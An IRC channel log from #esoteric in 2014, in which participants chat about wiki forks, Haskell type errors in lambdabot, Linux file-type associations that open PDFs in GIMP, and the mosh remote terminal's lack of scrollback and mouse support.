QUIT :Changing host < 1394385508 659768 :ggherdov_!sid11402@unaffiliated/ggherdov JOIN :#esoteric < 1394385508 659894 :ggherdov_!sid11402@unaffiliated/ggherdov QUIT :Changing host < 1394385508 659961 :ggherdov_!sid11402@gateway/web/irccloud.com/x-odwzqbmzjdzxnuga JOIN :#esoteric < 1394386322 244608 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fizzie: hmm, I wonder if that corresponds to the point in time at which Wikia went downhill < 1394386394 331913 :ion!ion@heh.fi JOIN :#esoteric < 1394386510 905634 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :#772 is from Jan 31, 2011. < 1394386547 786906 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1394386610 737796 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Ping timeout: 252 seconds < 1394386658 495158 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :NetHackWiki split off from Wikia around October 2010, so that's the right timeframe < 1394386662 714732 :AnotherTest!~turingcom@94-224-19-125.access.telenet.be JOIN :#esoteric < 1394386722 272337 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :where's the non-wikia oots wiki? < 1394386746 260024 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :coppro: not sure whether there is one; they might just have abandoned rather than forking < 1394386769 579351 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :(there must exist one because there is a law that every subject is covered on exactly three wikis: somewhere on wikimedia, a wikia wiki, and one other unaffiliated wiki) < 1394386797 762818 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394386938 411020 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It seems to be an officially discouraged wiki, but there does not seem to be a replacement. < 1394387244 786581 :sterenzat!~sterenzat@193.106.31.219 JOIN :#esoteric < 1394387535 96882 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394387734 437389 :hochuhochu!~hochuhoch@193.0.146.69 JOIN :#esoteric < 1394387797 520476 :hochuhochu!~hochuhoch@193.0.146.69 QUIT :Read error: Connection reset by peer < 1394387797 737850 :sterenzat!~sterenzat@193.106.31.219 QUIT :Remote host closed the connection < 1394388767 212370 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394388938 849532 :mr45!~mr45@cpc27-hudd10-2-0-cust59.4-1.cable.virginm.net QUIT :Remote host closed the connection < 1394388966 919257 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1394388967 124721 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394389313 192582 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Well that was... interesting. Repairing a slightly broken /var/lib/dpkg/available after a LTS->LTS Ubuntu upgrade < 1394389383 293151 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Quit: Leaving < 1394389860 905169 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394389997 465223 :comsupport!~comsuppor@193.106.31.77 JOIN :#esoteric < 1394390266 244540 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :coppro: hehe, that's an interesting rule < 1394390279 493255 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :coppro: can a stackexchange site count as the third wiki? < 1394390323 188824 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :hmm... yes < 1394390347 868922 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :coppro: though I think it doesn't work, because Harry Potter is covered in two different places in wikimedia wikis, namely in en.wikipedia and en.wikibooks < 1394390366 342961 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :(and also on wikia and on stackexchange) < 1394390532 897854 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1394390538 594501 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :coppro: as for oots, the non-wikia one is the oots forum actually, though it's really unsuitable from a technical standpoint because it's not searchable < 1394390549 755898 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :it does contain lots of documentation about oots still < 1394390804 47776 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :@tell oerjan I thought I had an explicit NoMonomorphismRestriction in L.hs ... but it seems I'm without access to lambdabot this week (I'm traveling, and the ssh keys are at home) < 1394390804 282493 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1394390843 195044 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(embarrassing :) ) < 1394391007 309371 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394391249 953685 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :b_jonas: that doesn't count < 1394391258 988530 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :coppro: why not? < 1394391261 682336 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :it's not a wiki < 1394391280 504408 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :unless you're a moderator :P < 1394391475 212359 :comsupport!~comsuppor@193.106.31.77 QUIT :K-Lined < 1394391508 296998 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Read error: No route to host < 1394391723 214660 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I had a look at the forum, but they didn't seem to collect transcripts there. < 1394391899 919966 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394391990 920445 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Wrt the topic: Easter is in April this year I thought? < 1394391999 792065 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :So it should be the hares of April, right? < 1394392012 812200 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :~duck easter 2014 < 1394392068 324482 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :April 20 says ddg in a browser < 1394392072 395550 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :the bot seems broken? < 1394392096 257259 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it's just not here. < 1394392102 937695 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :broken meaning absent, ye.s < 1394392104 308597 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :right < 1394392116 849025 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :int-e, also I guess it is technically bunnies in English speaking cultures. Unlike us vikings who have easter hares < 1394392132 153304 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :s/bunnies/rabbits/ < 1394392172 513410 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ACTION realized that touchpad behavior is highly configurable .. no more accidental clicks by tapping, yay. < 1394392205 210162 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Gah, I really should figure out some day why my system nowadays decides to open PDF files in Gimp of all things. < 1394392215 285306 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :I just turn the touchpad off personally. I prefer the trackpoint. And I avoid computers without either external mouse or trackpoint if possible. < 1394392223 63865 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, lol < 1394392225 345026 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :though honestly, 'man synaptics' is intimidating. < 1394392254 22572 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :hm... indeed it is < 1394392265 374590 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :the trackpoint does not match my mousing behaviour ... fast movements for activating windows. < 1394392270 596877 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :int-e, I thought there was gsynaptics or some such GTK+ configuration GUI for it? < 1394392295 138453 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :ah, I alt-tab generally when on laptops. And use mouse when I can < 1394393273 958226 :aergus!~aergus@88.228.117.4 JOIN :#esoteric < 1394393554 511635 :Slereahphone_!~slereahph@80.12.100.235 JOIN :#esoteric < 1394393609 367314 :Slereahphone!~slereahph@80.10.161.243 QUIT :Ping timeout: 240 seconds < 1394393610 257778 :Slereahphone_!~slereahph@80.12.100.235 NICK :Slereahphone < 1394394007 119146 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1394394600 994403 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@messages-loot < 1394394601 303231 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :int-e said 1h 3m 16s ago: I thought I had an explicit NoMonomorphismRestriction in L.hs ... but it seems I'm without access to lambdabot this week (I'm traveling, and the ssh keys are at home) < 1394394628 501028 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@let fnord = 1 < 1394394629 985894 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Defined. < 1394394639 859321 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh right hm < 1394394705 262855 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@let fhtagn = return () < 1394394706 328214 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : .L.hs:150:10: < 1394394706 515799 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : No instance for (Monad m0) arising from a use of `return' < 1394394706 515945 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : The type variable `m0' is ambiguous < 1394394706 516032 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Possible cause: the monomorphism restriction applied to the following: < 1394394706 516118 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : fhtagn :: m0 () (bound at .L.hs:150:1) < 1394394760 893258 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@let fhtagn = show < 1394394761 848912 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : .L.hs:150:10: < 1394394762 86899 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : No instance for (Show a0) arising from a use of `show' < 1394394762 273838 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : The type variable `a0' is ambiguous < 1394394762 274013 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Possible cause: the monomorphism restriction applied to the following: < 1394394762 274136 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : fhtagn :: a0 -> String (bound at .L.hs:150:1) < 1394394780 122424 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :> show < 1394394780 347986 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't resolve type class 12Show a < 1394394781 533796 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : <() -> [Char]> < 1394394821 472231 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :> var "" < 1394394822 947534 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Terminated < 1394394823 826851 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No such variable var < 1394394836 505902 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :> val "" < 1394394836 693205 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No such variable val < 1394394837 990509 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `val' < 1394394838 175829 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Perhaps you meant one of these: < 1394394838 175988 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `Sym.var' (imported from Data.Number.Symbolic), < 1394394838 176091 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `var' (imported from Debug.SimpleReflect), < 1394394838 176181 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `ival' (imported from Data.Number.Interval) < 1394394860 965329 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :> text "" < 1394394861 153484 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No such variable text < 1394394862 324324 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Terminated < 1394394920 328926 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :> -- hm < 1394394920 605216 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :command not recognized or not supported < 1394394921 653959 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : not an expression: `-- hm' < 1394395005 1623 :aergus!~aergus@88.228.117.4 QUIT :Ping timeout: 244 seconds < 1394395012 822368 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1394395064 641510 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : So it should be the hares of April, right? <-- there are march hares unrelated to easter too. < 1394395131 379026 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :everytime i read "vorpal" i have to think about the goblins < 1394395189 492981 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :myname: it's from jabberwocky < 1394395305 708540 :lomoleg!~lomoleg@95.215.143.42 JOIN :#esoteric < 1394395823 748393 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :myname, what? < 1394395827 470346 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :oerjan, indeed < 1394395875 155842 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :myname, surely you know of Jabberwocky from Alice through the Looking Glass by Lewis Carroll? < 1394395936 737763 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Man, I want to go back and read that book again. I... don't think I have it in English though. I know my parents do, but I don't think I have it... < 1394395965 454161 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :btw there's a march hare in those books too < 1394396126 382406 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :Vorpal: dunno, i think the mane "vorpal kickass'o" is pretty amazing < 1394396180 740546 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Ping timeout: 252 seconds < 1394396327 293694 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`coins < 1394396329 400656 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :mincanchcoin 6ixcoin lcamoilecodistcoin dermencoin wakcoin stantcoin halloncoin billancoin berivascucoin spitafnfarmacoin fwittcoin bilecoin ampiracoin dogoroofcoin bubrackincoin c-logcoin baalcoin shaccoin paracoin biecoin < 1394396680 755128 :ion!ion@heh.fi PRIVMSG #esoteric :ACTION pays 5 shaccoin to shachaf < 1394396891 529246 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :You're giving shaccoins to the source of all shaccoins; how bizarre. < 1394397128 882687 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :fizzie: my work computer also tries to open PDFs with GIMP (when it doesn't open them with pdf.js) < 1394397154 800301 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I think bilecoin is going places < 1394397163 176189 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :also baalcoin < 1394397205 683263 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :baalcoin is probably too easily cloned < 1394397497 567465 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Does GIMP support PDF at all? < 1394397536 129439 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i think so < 1394397546 486396 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yes. Though it's rather unsuitable for reading multi-page files. < 1394397558 154676 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It opens a selection dialog where you can import the pages you want, as separate layers. < 1394397567 614333 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it rasterizes on load, naturally < 1394397579 274901 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Right, there's that, too. < 1394397582 59018 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :http://sprunge.us/eTiN there's probably some sort of a priority mechanism, but I don't know what. < 1394397595 811420 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394397608 2016 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Also not sure where gimp comes from; it's not in /usr/lib/mime/packages/ which I thought was the general source for /etc/mailcap. < 1394397718 187310 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Oh, I guess it also picks up file types from .desktop entries. < 1394397741 547919 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Sadly, unlike the /usr/lib/mime/packages/ files, there's no priority numbers. < 1394397778 915037 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(/usr/share/applications/gimp.desktop lists http://sprunge.us/ecff) < 1394397898 166655 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric : Vorpal: dunno, i think the mane "vorpal kickass'o" is pretty amazing <-- what are you talking about? < 1394397916 432214 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric : btw there's a march hare in those books too <-- oh you have a good point. it is indeed the march hare, not the easter hare < 1394398010 729719 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, sure /etc/mailcap is used? I thought it was some files in ~/.config that were used? < 1394398030 29179 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I'm not sure at all. I know some software uses /etc/mailcap. < 1394398031 888718 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :wine used to overwrite a lot of extensions (like .txt) which annoyed the hell out of me < 1394398048 974010 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :I fixed it by removing files from ~/.config/something < 1394398064 204682 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :also I found some way to prevent it adding new files, forgot what it was < 1394398155 424362 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :~/.local/share/applications/ seems to be part of the file extension association mechansim of XDG. < 1394398157 642356 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Anyone used mosh? The ssh-kind-of-replacement? < 1394398176 611661 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, that sounds familiar yes < 1394398180 311610 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Vorpal: yes; I was a developer for a while < 1394398184 186516 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I use mosh. < 1394398199 192663 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :and i'm using it right now :) < 1394398202 341851 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I was going to say "I thought it was at least partly developed by #esotericers" < 1394398226 509847 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I also remember disliking it for no good reason < 1394398229 736255 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :kmc, does it have proper scrollback yet? < 1394398250 835131 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :What about xterm mouse input thingy for curses programs? < 1394398266 832449 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Those two things didn't work last I tried it, so I just gave up on it back then < 1394398272 776856 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :was wondering if it was any better now < 1394398288 400337 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I take it mosh is recoding the terminal codes, screen-style? < 1394398308 222393 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :ais523, pretty sure yes < 1394398312 192295 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I don't think it does either < 1394398332 606254 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ais523: yes, it tracks the terminal state on the server side and then runs a state-sync protocol between that and the client < 1394398338 868290 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Well then, then I'm not going to be using mosh for a while < 1394398402 470869 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :you can use another program that handles scrollback < 1394398411 46721 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :or just continue to act smug on IRC < 1394398429 470439 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :e.g. tmux and screen both do scrollback < 1394398430 505209 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I use screen anyway (which means I have server-side scrollback) and I've basically never tried to use xterm mouse support for anything other than some graphics demos :) < 1394398440 313998 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :as well as programs that handle their own scrollback (less, irssi, ...) < 1394398441 951123 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :elliott, I prefer it to be in my actual terminal emulator, but okay. Doesn't solve the mouse input issue though < 1394398445 776498 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :btw, I didn't expect Vorpal to complain about lack of mouse support in a terminal program; it's a legitimate complaint, just didn't expect Vorpal to be the one to make it < 1394398452 540350 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but if you need these things then yeah you probably can't use mosh < 1394398481 628903 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :kmc, need? No. Go crazy without them? yes < 1394398492 674155 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Vorpal: mosh can't do that < 1394398512 571717 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :elliott, sadly that is the case. It is an awesome concept though. < 1394398522 686485 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I mean inherently. < 1394398537 177795 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :if you output 100 screens of output instantly, there is no guarantee you'll even receive all 100. < 1394398541 604210 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it just wants to sync the current screen state. < 1394398566 312596 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Right, but question is if it could be redesigned to support it. I don't know. < 1394398578 716301 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Anyway the mouse issue could be solved as far as I know. < 1394398581 174462 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :yes! you could send every byte that comes through the terminal, and negate half the point < 1394398585 200497 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :um, which terminal? < 1394398587 608076 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Vorpal: yes it can, there's a github issue about it < 1394398594 926156 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Vorpal: it's kind of ugly[3~y though < 1394398598 149823 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ugly* < 1394398602 128090 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :heh < 1394398602 558914 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :recent versions of screen do transmit mouse commands (at least some variants of it), though old versions don't < 1394398604 520304 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I believe the traditional response is "patches welcome" < 1394398612 13321 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :kmc, well, duh, terminal control codes are ugly :P < 1394398623 203904 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :VT100 is an ugly mess overall < 1394398629 143981 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Bah, these things are so complicated. At least the PDF app is now selected, with the aid of xdg-mime. < 1394398642 121862 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Vorpal: I agree with you, no need for "duh" < 1394398652 382405 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :and I'm the opposite, I specifically have a patch to be able to disable terminal mouse support for some programs that want to use it < 1394398661 370343 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :kmc, that was not used in a provocative way < 1394398675 772417 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :okay < 1394398700 836730 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :elliott: I don't think it's impossible to support scrollback; we've talked about a system for sending pages of scrollback to the client on demand < 1394398703 676234 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :b_jonas, oh? How does the existance of it bother you? Just shift select in the xfce terminal at least if you want to select text from such a program < 1394398709 770391 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but it won't be part of the local terminal's native scrollback < 1394398716 543558 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :kmc: it was in reply to Vorpal wanting native scrollback < 1394398725 282779 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yeah < 1394398728 248540 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :you basically can't do that < 1394398735 376819 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Vorpal: You never know when you need to press shift or not. < 1394398758 940564 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :kmc: you could with mosh-terminal < 1394398764 592485 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :kmc, hm, why is that? can't you sync up to n (configurable) pages of scrollback? Or doesn't terminals support editing the history? < 1394398769 597419 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :kmc: which links to mosh as its vt implementation < 1394398769 782765 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :don't* < 1394398772 284158 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Vorpal: it helps because I don't have to press shift to select stuff, and also because it lets me mouse click in the terminal window to focus on it (when another window was focused) without issuing a command < 1394398778 838053 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :kmc: actually that's a cool idea. < 1394398790 322192 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Vorpal: I don't use this much these days though < 1394398790 579414 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :b_jonas, fair enough < 1394398811 776360 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Vorpal: I don't think they support history editing < 1394398814 208909 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :not sure < 1394398819 13351 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Hm < 1394398825 219621 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Yeah I guess that would cause some issues < 1394398826 553783 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :the programs where this happens are aptitude and elinks < 1394398862 37805 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :but if nethack4 gains mouse support, I might start to use this feature for it < 1394398864 414867 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1394398876 441929 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :b_jonas, I use mouse support in aptitude, heh < 1394398885 48163 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :That is about where I use it actually < 1394399016 541697 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :I see < 1394399032 313191 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :kmc, I think wikipedia is a bit confused wrt mosh: < 1394399033 579972 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : e.g. tmux and screen both do scrollback <-- oh hum how do you do that? i've been having to capturing shell command with less just because putty's scrollback stopped working when i started using tmux < 1394399033 935932 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :"There is no such thing as scrollback with mosh, even if your terminal window has a scrollbar, it disappears when using mosh,[17] this is trade-off for garbage cleaning: binary output is wiped away for what should make sense: no session lockups because you accidentally did a cat of a binary. You will miss output like this. The best way to mitigate this is currently by using mosh in combination with scre < 1394399034 123401 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :en or tmux.[18]" < 1394399035 762858 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :well, it's an option I can toggle, so I can still use mouse support in programs where I want to < 1394399044 382841 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oerjan: I don't know, I don't use them :p < 1394399048 844767 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Scrollback and binary output? Really? < 1394399065 962719 :Vorpal!~Vorpal@unaffiliated/vorpal 